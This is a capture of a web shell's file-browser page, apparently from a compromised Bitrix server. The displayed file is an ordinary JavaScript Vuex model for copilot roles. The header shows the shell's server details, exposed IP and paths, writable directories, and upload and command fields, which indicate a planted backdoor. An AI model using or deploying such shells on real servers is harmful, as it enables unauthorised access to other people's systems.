403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/model/src/copilot/nested-modules/roles/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/cvetdv.ru/bitrix/js/im/v2/model/src/copilot/nested-modules/roles/roles.js
import { Type } from 'main.core';
import { BuilderModel } from 'ui.vue3.vuex';

import { rolesFieldsConfig } from './field-config';
import { formatFieldsWithConfig } from '../../../utils/validate';

import type { JsonObject } from 'main.core';
import type { GetterTree, ActionTree, MutationTree } from 'ui.vue3.vuex';
import type { CopilotPrompt, CopilotRole, CopilotRoleCode, AvatarSize } from '../../../type/copilot';

type RolesState = {
	roles: {[CopilotRoleCode]: CopilotRole}
}
export const AvatarSizes: {[AvatarSize]: string} = Object.freeze({
	S: 'small',
	M: 'medium',
	L: 'large',
});

/* eslint-disable no-param-reassign */
export class RolesModel extends BuilderModel
{
	getState(): RolesState
	{
		return {
			roles: {},
		};
	}

	getElementState(): CopilotRole
	{
		return {
			code: '',
			name: '',
			desc: '',
			default: false,
			avatar: {
				small: '',
				medium: '',
				large: '',
			},
			prompts: [],
		};
	}

	getGetters(): GetterTree
	{
		return {
			/** @function copilot/roles/get */
			get: (state) => (): CopilotRole[] => {
				return Object.values(state.roles);
			},
			/** @function copilot/roles/getByCode */
			getByCode: (state, getters) => (code: string): CopilotRole[] => {
				return state.roles[code] ?? getters.getDefault;
			},
			/** @function copilot/roles/getPrompts */
			getPrompts: (state, getters) => (roleCode: string): CopilotPrompt[] => {
				if (!state.roles[roleCode])
				{
					return getters.getDefault?.prompts ?? [];
				}

				return state.roles[roleCode].prompts;
			},
			/** @function copilot/roles/getDefault */
			getDefault: (state): CopilotRole => {
				return Object.values(state.roles).find((role: CopilotRole) => role.default);
			},
			/** @function copilot/roles/getAvatar */
			getAvatar: (state, getters) => (roleCode: string, size: AvatarSize = 'M'): string => {
				if (!state.roles[roleCode])
				{
					return getters.getDefault?.prompts ?? [];
				}

				return state.roles[roleCode].avatar[AvatarSizes[size]];
			},
		};
	}

	getActions(): ActionTree
	{
		return {
			/** @function copilot/roles/add */
			add: (store, payload) => {
				const roles = Object.values(payload);
				if (!Type.isArrayFilled(roles))
				{
					return;
				}

				roles.forEach((role) => {
					const preparedRole = { ...this.getElementState(), ...this.formatFields(role) };
					store.commit('add', preparedRole);
				});
			},
		};
	}

	getMutations(): MutationTree
	{
		return {
			add: (state, payload) => {
				state.roles[payload.code] = payload;
			},
		};
	}

	formatFields(fields: JsonObject): JsonObject
	{
		return formatFieldsWithConfig(fields, rolesFieldsConfig);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit